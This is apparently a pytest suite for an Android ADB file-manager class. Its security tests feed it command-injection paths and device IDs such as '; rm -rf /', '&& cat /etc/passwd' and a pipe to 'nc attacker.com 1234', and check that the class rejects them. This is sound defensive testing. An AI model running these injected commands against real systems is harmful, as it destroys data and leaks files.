"""Tests for the main ADB manager module.""" import pytest import unittest.mock as mock import os from unittest.mock import patch, MagicMock from src.core.adb_manager import ADBManager class TestADBManager: """Test main ADB manager functionality.""" @patch("src.core.adb_manager.get_adb_binary_path") def test_init_success(self, mock_get_path): """Test ADBManager initialization with successful ADB path.""" mock_get_path.return_value = "/path/to/adb" manager = ADBManager() assert manager.adb_path == "/path/to/adb" assert manager.selected_device is None assert manager.progress_callback is None assert manager.status_callback is None assert manager.transfer_progress["current_file"] == 0 @patch("src.core.adb_manager.get_adb_binary_path") def test_init_adb_path_failure(self, mock_get_path): """Test ADBManager initialization when ADB path fails.""" mock_get_path.side_effect = Exception("ADB not found") manager = ADBManager() assert manager.adb_path is None @patch("src.core.adb_manager.is_adb_available") def test_is_available_true(self, mock_is_available): """Test ADB availability check returns True.""" mock_is_available.return_value = True manager = ADBManager() assert manager.is_available() is True @patch("src.core.adb_manager.is_adb_available") def test_is_available_false(self, mock_is_available): """Test ADB availability check returns False.""" mock_is_available.return_value = False manager = ADBManager() assert manager.is_available() is False @patch("src.core.adb_manager.is_adb_available") @patch("src.core.adb_manager.ensure_platform_tools_in_user_dir") @patch("os.path.exists") def test_ensure_adb_installed_already_available( self, mock_exists, mock_ensure, mock_is_available ): """Test ensure_adb_installed when ADB is already available.""" mock_is_available.return_value = True manager = ADBManager() result = manager.ensure_adb_installed() assert result is True mock_ensure.assert_not_called() @patch("src.core.adb_manager.is_adb_available") @patch("src.core.adb_manager.ensure_platform_tools_in_user_dir") @patch("os.path.exists") def test_ensure_adb_installed_download_success( self, mock_exists, mock_ensure, mock_is_available ): """Test ensure_adb_installed with successful download.""" mock_is_available.return_value = False mock_ensure.return_value = "/user/data/adb" mock_exists.return_value = True manager = ADBManager() result = manager.ensure_adb_installed() assert result is True assert manager.adb_path == "/user/data/adb" @patch("src.core.adb_manager.is_adb_available") @patch("src.core.adb_manager.ensure_platform_tools_in_user_dir") def test_ensure_adb_installed_download_failure( self, mock_ensure, mock_is_available ): """Test ensure_adb_installed with download failure.""" mock_is_available.return_value = False mock_ensure.side_effect = Exception("Download failed") manager = ADBManager() result = manager.ensure_adb_installed() assert result is False def test_get_devices_success(self): """Test successful device enumeration.""" manager = ADBManager() manager.command_runner.run_adb_command = MagicMock( return_value=( "List of devices attached\ndevice1\tdevice\ndevice2\tdevice", "", 0, ) ) devices = manager.get_devices() assert devices == ["device1", "device2"] def test_get_devices_failure(self): """Test device enumeration failure.""" manager = ADBManager() manager.command_runner.run_adb_command = MagicMock( return_value=("", "Error", 1) ) devices = manager.get_devices() assert devices == [] def test_get_devices_no_devices(self): """Test device enumeration with no connected devices.""" manager = ADBManager() manager.command_runner.run_adb_command = MagicMock( return_value=("List of devices attached\n", "", 0) ) devices = manager.get_devices() assert devices == [] @patch.object(ADBManager, "get_devices") def test_is_device_connected_specific_device(self, mock_get_devices): """Test checking if specific device is connected.""" mock_get_devices.return_value = ["device1", "device2"] manager = ADBManager() assert manager.is_device_connected("device1") is True assert manager.is_device_connected("device3") is False @patch.object(ADBManager, "get_devices") def test_is_device_connected_any_device(self, mock_get_devices): """Test checking if any device is connected.""" mock_get_devices.return_value = ["device1"] manager = ADBManager() assert manager.is_device_connected() is True mock_get_devices.return_value = [] assert manager.is_device_connected() is False def test_select_device(self): """Test device selection.""" manager = ADBManager() manager.select_device("test_device") assert manager.selected_device == "test_device" def test_get_selected_device(self): """Test getting selected device.""" manager = ADBManager() manager.selected_device = "test_device" assert manager.get_selected_device() == "test_device" def test_get_selected_device_none(self): """Test getting selected device when none selected.""" manager = ADBManager() assert manager.get_selected_device() is None def test_list_files_success(self): """Test successful file listing.""" manager = ADBManager() manager.command_runner.run_adb_command = MagicMock( return_value=( "total 12\n" "drwxrwxr-x 2 user user 4096 Jan 1 12:00 Documents\n" "-rw-rw-r-- 1 user user 100 Jan 1 12:00 test.txt", "", 0, ) ) files = manager.list_files("/sdcard") assert len(files) == 2 assert files[0]["name"] == "Documents" assert files[0]["type"] == "folder" assert files[1]["name"] == "test.txt" assert files[1]["type"] == "file" assert files[1]["size"] == 100 def test_list_files_failure(self): """Test file listing failure.""" manager = ADBManager() manager.command_runner.run_adb_command = MagicMock( return_value=("", "Permission denied", 1) ) files = manager.list_files("/root") assert files == [] @patch("os.makedirs") def test_pull_file_success(self, mock_makedirs): """Test successful file pull.""" manager = ADBManager() manager.file_transfer.pull_file = MagicMock(return_value=True) success, message = manager.pull_file("/sdcard/test.txt", "/local/test.txt") assert success is True assert "successfully" in message mock_makedirs.assert_called_once_with("/local", exist_ok=True) def test_pull_file_failure(self): """Test file pull failure.""" manager = ADBManager() manager.file_transfer.pull_file = MagicMock(return_value=False) success, message = manager.pull_file("/sdcard/test.txt", "/local/test.txt") assert success is False assert "Failed" in message @patch("os.makedirs") def test_pull_folder_success(self, mock_makedirs): """Test successful folder pull.""" manager = ADBManager() manager.file_transfer.pull_folder = MagicMock(return_value=True) success, message = manager.pull_folder("/sdcard/Documents", "/local/Documents") assert success is True assert "successfully" in message mock_makedirs.assert_called_once_with("/local/Documents", exist_ok=True) def test_pull_folder_failure(self): """Test folder pull failure.""" manager = ADBManager() manager.file_transfer.pull_folder = MagicMock(return_value=False) success, message = manager.pull_folder("/sdcard/Documents", "/local/Documents") assert success is False assert "Failed" in message @patch("os.path.exists") def test_push_file_success(self, mock_exists): """Test successful file push.""" mock_exists.return_value = True manager = ADBManager() manager.file_transfer.push_file = MagicMock(return_value=True) success, message = manager.push_file("/local/test.txt", "/sdcard/test.txt") assert success is True assert "successfully" in message @patch("os.path.exists") def test_push_file_not_found(self, mock_exists): """Test file push when local file doesn't exist.""" mock_exists.return_value = False manager = ADBManager() success, message = manager.push_file("/local/test.txt", "/sdcard/test.txt") assert success is False assert "not found" in message @patch("os.path.exists") def test_push_file_failure(self, mock_exists): """Test file push failure.""" mock_exists.return_value = True manager = ADBManager() manager.file_transfer.push_file = MagicMock(return_value=False) success, message = manager.push_file("/local/test.txt", "/sdcard/test.txt") assert success is False assert "Failed" in message @patch("os.path.exists") def test_push_folder_success(self, mock_exists): """Test successful folder push.""" mock_exists.return_value = True manager = ADBManager() manager.file_transfer.push_folder = MagicMock(return_value=True) success, message = manager.push_folder("/local/Documents", "/sdcard/Documents") assert success is True assert "successfully" in message def test_delete_file_success(self): """Test successful file deletion.""" manager = ADBManager() manager.command_runner.run_adb_command = MagicMock(return_value=("", "", 0)) success, message = manager.delete_file("/sdcard/test.txt") assert success is True assert "deleted" in message def test_delete_file_failure(self): """Test file deletion failure.""" manager = ADBManager() manager.command_runner.run_adb_command = MagicMock( return_value=("", "Permission denied", 1) ) success, message = manager.delete_file("/sdcard/test.txt") assert success is False assert "Failed" in message def test_create_folder_success(self): """Test successful folder creation.""" manager = ADBManager() manager.command_runner.run_adb_command = MagicMock(return_value=("", "", 0)) success, message = manager.create_folder("/sdcard/NewFolder") assert success is True assert "created" in message def test_delete_folder_success(self): """Test successful folder deletion.""" manager = ADBManager() manager.command_runner.run_adb_command = MagicMock(return_value=("", "", 0)) success, message = manager.delete_folder("/sdcard/OldFolder") assert success is True assert "deleted" in message def test_move_item_success(self): """Test successful item move/rename.""" manager = ADBManager() manager.command_runner.run_adb_command = MagicMock(return_value=("", "", 0)) success, message = manager.move_item("/sdcard/old.txt", "/sdcard/new.txt") assert success is True assert "moved" in message def test_get_file_info_success(self): """Test successful file info retrieval.""" manager = ADBManager() manager.command_runner.run_adb_command = MagicMock( return_value=("-rw-rw-r-- 1 user user 1024 Jan 1 12:00 test.txt", "", 0) ) info = manager.get_file_info("/sdcard/test.txt") assert info is not None assert info["name"] == "test.txt" assert info["type"] == "file" assert info["size"] == 1024 def test_get_file_info_failure(self): """Test file info retrieval failure.""" manager = ADBManager() manager.command_runner.run_adb_command = MagicMock( return_value=("", "File not found", 1) ) info = manager.get_file_info("/sdcard/nonexistent.txt") assert info is None @patch("src.core.adb_manager.FileDeduplicator") def test_deduplicate_files_success(self, mock_deduplicator_class): """Test successful file deduplication.""" mock_deduplicator = MagicMock() mock_deduplicator.find_duplicates.return_value = [["file1.txt", "file2.txt"]] mock_deduplicator.remove_duplicates.return_value = 1 mock_deduplicator_class.return_value = mock_deduplicator manager = ADBManager() removed_count, duplicates = manager.deduplicate_files("/test/folder") assert removed_count == 1 assert len(duplicates) == 1 @patch("src.core.adb_manager.FileDeduplicator") def test_deduplicate_files_no_duplicates(self, mock_deduplicator_class): """Test file deduplication with no duplicates found.""" mock_deduplicator = MagicMock() mock_deduplicator.find_duplicates.return_value = [] mock_deduplicator_class.return_value = mock_deduplicator manager = ADBManager() removed_count, duplicates = manager.deduplicate_files("/test/folder") assert removed_count == 0 assert duplicates == [] class TestADBManagerSecurityIntegration: """Integration tests for security validation in ADB manager methods.""" def test_list_files_rejects_command_injection(self): """Test that list_files() rejects paths with command injection attempts.""" manager = ADBManager() manager.selected_device = "test_device" malicious_paths = [ "/sdcard/test; rm -rf /", "/sdcard/$(whoami)", "/sdcard/`malicious`", "/sdcard/test && cat /etc/passwd", "/sdcard/test | nc attacker.com 1234", ] for path in malicious_paths: result = manager.list_files(path) assert result == [], f"Failed to reject malicious path: {path}" def test_delete_file_rejects_path_traversal(self): """Test that delete_file() rejects path traversal attempts.""" manager = ADBManager() manager.selected_device = "test_device" malicious_paths = [ "/sdcard/test\x00.txt", "/sdcard/file; rm -rf /", ] for path in malicious_paths: success, message = manager.delete_file(path) assert not success, f"Failed to reject malicious path: {path}" assert ( "Invalid path" in message ), f"Expected security error message for: {path}" def test_create_folder_rejects_malicious_input(self): """Test that create_folder() rejects malicious path inputs.""" manager = ADBManager() manager.selected_device = "test_device" malicious_paths = [ "/sdcard/test && malicious", "/sdcard/$(whoami)", "/sdcard/test\nmalicious_command", ] for path in malicious_paths: success, message = manager.create_folder(path) assert not success, f"Failed to reject malicious path: {path}" assert "Invalid path" in message def test_move_item_rejects_both_malicious_paths(self): """Test that move_item() rejects malicious source or destination paths.""" manager = ADBManager() manager.selected_device = "test_device" # Malicious source success, message = manager.move_item("/sdcard/test; rm -rf /", "/sdcard/dest") assert not success assert "Invalid path" in message # Malicious destination success, message = manager.move_item( "/sdcard/source", "/sdcard/dest && malicious" ) assert not success assert "Invalid path" in message def test_operations_reject_malicious_device_ids(self): """Test that operations reject malicious device IDs.""" manager = ADBManager() malicious_device_ids = [ "device123; malicious", "device && cat /etc/passwd", "device|nc attacker.com", "device\nmalicious", ] for device_id in malicious_device_ids: # Test with list_files result = manager.list_files("/sdcard/test", device_id=device_id) assert result == [], f"Failed to reject malicious device ID: {device_id}" # Test with get_file_info result = manager.get_file_info("/sdcard/test", device_id=device_id) assert result is None, f"Failed to reject malicious device ID: {device_id}" def test_delete_folder_rejects_dangerous_patterns(self): """Test that delete_folder() rejects dangerous path patterns.""" manager = ADBManager() manager.selected_device = "test_device" dangerous_paths = [ "/sdcard/test||malicious", "/sdcard/test&&malicious", "/sdcard/test>>output.txt", ] for path in dangerous_paths: success, message = manager.delete_folder(path) assert not success, f"Failed to reject dangerous path: {path}" assert "Invalid path" in message def test_get_file_info_with_null_bytes(self): """Test that get_file_info() rejects null bytes in paths.""" manager = ADBManager() manager.selected_device = "test_device" result = manager.get_file_info("/sdcard/file\x00.txt") assert result is None @patch("src.core.adb_manager.ADBCommandRunner") def test_sanitized_paths_passed_to_adb_commands(self, mock_runner_class): """Test that sanitized paths are passed to ADB commands, not original inputs.""" mock_runner = MagicMock() mock_runner.run_adb_command.return_value = ("", "", 0) mock_runner_class.return_value = mock_runner manager = ADBManager() manager.selected_device = "test_device" # Valid path should be passed through manager.list_files("/sdcard/DCIM") # Verify the command was called with the sanitized path args_list = mock_runner.run_adb_command.call_args[0][0] assert "/sdcard/DCIM" in args_list # Malicious path should not reach the command runner mock_runner.run_adb_command.reset_mock() manager.list_files("/sdcard/test; rm -rf /") # Command runner should not be called for invalid paths mock_runner.run_adb_command.assert_not_called() def test_unicode_paths_accepted(self): """Test that valid Unicode paths are accepted.""" manager = ADBManager() manager.selected_device = "test_device" unicode_paths = [ "/sdcard/照片/vacation.jpg", "/sdcard/Фото/image.png", "/sdcard/My Photos/vacation.jpg", ] for path in unicode_paths: # Should not raise exception or return security error result = manager.list_files(path) # Result will be empty list due to mocked command, but should not reject path assert isinstance(result, list) def test_list_files_calls_status_callback_on_invalid_path(self): """Test that list_files() notifies user via status callback on invalid path.""" manager = ADBManager() manager.selected_device = "test_device" # Set up status callback to capture messages status_messages = [] manager.set_status_callback(lambda msg: status_messages.append(msg)) # Try invalid path result = manager.list_files("/sdcard/test; rm -rf /") assert result == [] assert len(status_messages) == 1 assert "Invalid path" in status_messages[0] assert "dangerous pattern" in status_messages[0] def test_list_files_calls_status_callback_on_invalid_device_id(self): """Test that list_files() notifies user via status callback on invalid device ID.""" manager = ADBManager() # Set up status callback to capture messages status_messages = [] manager.set_status_callback(lambda msg: status_messages.append(msg)) # Try invalid device ID result = manager.list_files("/sdcard/test", device_id="device; malicious") assert result == [] assert len(status_messages) == 1 assert "Invalid device ID" in status_messages[0] def test_get_file_info_calls_status_callback_on_invalid_path(self): """Test that get_file_info() notifies user via status callback on invalid path.""" manager = ADBManager() manager.selected_device = "test_device" # Set up status callback to capture messages status_messages = [] manager.set_status_callback(lambda msg: status_messages.append(msg)) # Try invalid path with null byte result = manager.get_file_info("/sdcard/file\x00.txt") assert result is None assert len(status_messages) == 1 assert "Invalid path" in status_messages[0] assert "null byte" in status_messages[0] def test_status_callback_not_called_on_valid_input(self): """Test that status callback is not called for valid inputs.""" manager = ADBManager() manager.selected_device = "test_device" # Set up status callback to capture messages status_messages = [] manager.set_status_callback(lambda msg: status_messages.append(msg)) # Try valid path (will return empty due to mocked command, but shouldn't trigger callback) result = manager.list_files("/sdcard/DCIM") # No status messages for validation errors assert not any("Invalid" in msg for msg in status_messages)